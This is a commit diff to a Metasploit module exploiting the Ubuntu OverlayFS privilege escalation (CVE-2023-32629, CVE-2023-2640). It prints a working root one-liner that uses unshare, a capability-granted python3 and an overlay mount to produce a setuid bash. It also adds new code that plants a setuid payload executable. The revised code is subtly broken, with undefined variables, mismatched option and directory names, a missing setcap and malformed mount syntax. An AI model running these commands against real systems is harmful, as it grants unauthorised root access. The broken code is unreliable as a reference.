Skip to content

Commit 73f6e76

Browse files
author
Corey
committed
Include cmd_stage module, add generate_payload_exe, run payload in new namespace
1 parent becef21 commit 73f6e76

File tree

1 file changed

+35
-24
lines changed

1 file changed

+35
-24
lines changed

modules/exploits/linux/local/game_overlay_privesc.rb

Lines changed: 35 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,8 @@ class MetasploitModule < Msf::Exploit::Local
44
include Msf::Post::Linux::System
55
include Msf::Post::Linux::Kernel
66
include Msf::Post::File
7-
include Msf::Exploit::FileDropper
7+
include Msf::Exploit::FileDropper
8+
include Msf::Exploit::CmdStager
89

910
def initialize(info = {})
1011
super(
@@ -39,17 +40,14 @@ def initialize(info = {})
3940
['CVE', '2023-32629'],
4041
['CVE', '2023-2640']
4142
],
42-
'Targets' => [
43-
# TODO add linux sillicon
44-
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
45-
[ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ],
46-
[ 'Python', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' } ]
47-
],
48-
'DefaultTarget' => 0
43+
'Targets' => [ [ 'Linux', {} ] ],
44+
'Arch' => [ ARCH_X86, ARCH_X64 ],
45+
'CmdStagerFlavor' => 'bourne'
4946
)
5047
)
5148
register_options [
52-
OptString.new('PayloadFilename', [true, 'Name of payload file', 'marv.elf'])
49+
OptString.new('PayloadDir', [true, 'Directory to store payload.', '/tmp/sysdtest/']),
50+
OptString.new('PayloadFileName', [true, 'Name of payloadf', 'marv.elf'])
5351
]
5452
end
5553

@@ -102,27 +100,40 @@ def check
102100
end
103101
end
104102

105-
def exploit
106-
# Still need to figure out if meterpreter or shell can interact with the spawned process
107-
# So we can run a shell without having to drop a new executable
103+
def execute_command(cmd, opts = {})
108104
payload_file = datastore['PayloadFilename']
109-
register_file_for_cleanup payload
110105

111-
# Write payload file
112-
print_status "payload_file: #{payload_file}"
106+
payload_dir = datastore['PayloadDir']
107+
108+
directories = %w[low up wrk mnt].flat_map {|e| "/tmp/main/#{e}"}
109+
110+
# Should we make sure directory doesn't already exist?
111+
112+
directories.each do |dir|
113+
print_status "Creating directory #{d}"
114+
cmd_exec "mkdir -p #{d}"
115+
register_dir_for_cleanup d
116+
end
117+
118+
119+
write_file "/tmp/main/marv", generate_payload_exe
120+
#works move test to low, run unshare mount set cap, shell
121+
122+
print_status "Copying python"
123+
cmd_exec "cp /u*/b*/p*3 /tmp/main/low"
113124

114-
#Failure::BadConfig "#{payload_file} already exists" if file? payload_file
115-
#Failure::BadConfig "Current directory isn't writeable" unless writable? '.'
125+
print_status "Starting new namespace, and running exploit..."
116126

117-
write_file payload_file, generate_payload.generate
127+
hack = "unshare -rm sh -c \"cap_setuid+eip /tmp/main/low/python3; mount -t overlay overlay -o rw, lowerdir=/tmp/main/low,upperdir=/tmp/main/up,workdir=/tmp/main/work mnt touch mnt/* && /tmp/main/up/python3 -c 'import os;os.setuid(0);os.system(\"chown root:root /tmp/main/low/marv && chmod u+s /tmp/main/low/marv && /tmp/main/marv\")\" "
118128

119-
# run shell in a different namespace, add setuid capabilities and create a new mount point
120-
# Based on g1vi exploit: "unshare -rm sh -c \"mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;\" && u/python3 -c 'import os;os.setuid(0);os.system(\"cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash\")'"
121-
hack = "unshare -rm sh -c \"mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;\" && u/python3 -c 'import os;os.setuid(0);os.system(\"cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash\")'"
122-
#"unshare -rm sh -c \"mkdir l u w m && cp #{payload_file} l/; setcap cap_setuid+eip l/#{payload_file}; mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; && chmod 4755 /u/#{payload_file} && /u/#{payload_file}" # && rm -rf l/ m/ u/ w/ #{payload} }
123-
124-
print_status("Running exploit '#{hack}'")
129+
# g1vi original
130+
# "unshare -rm sh -c \"mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;\" && u/python3 -c 'import os;os.setuid(0);os.system(\"cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash\")'"
131+
print_status "Running exploit: '#{hack}' "
125132
cmd_exec hack
133+
end
134+
135+
def exploit
136+
execute_cmdstager
126137
end
127138

128139
end

0 commit comments

Comments
 (0)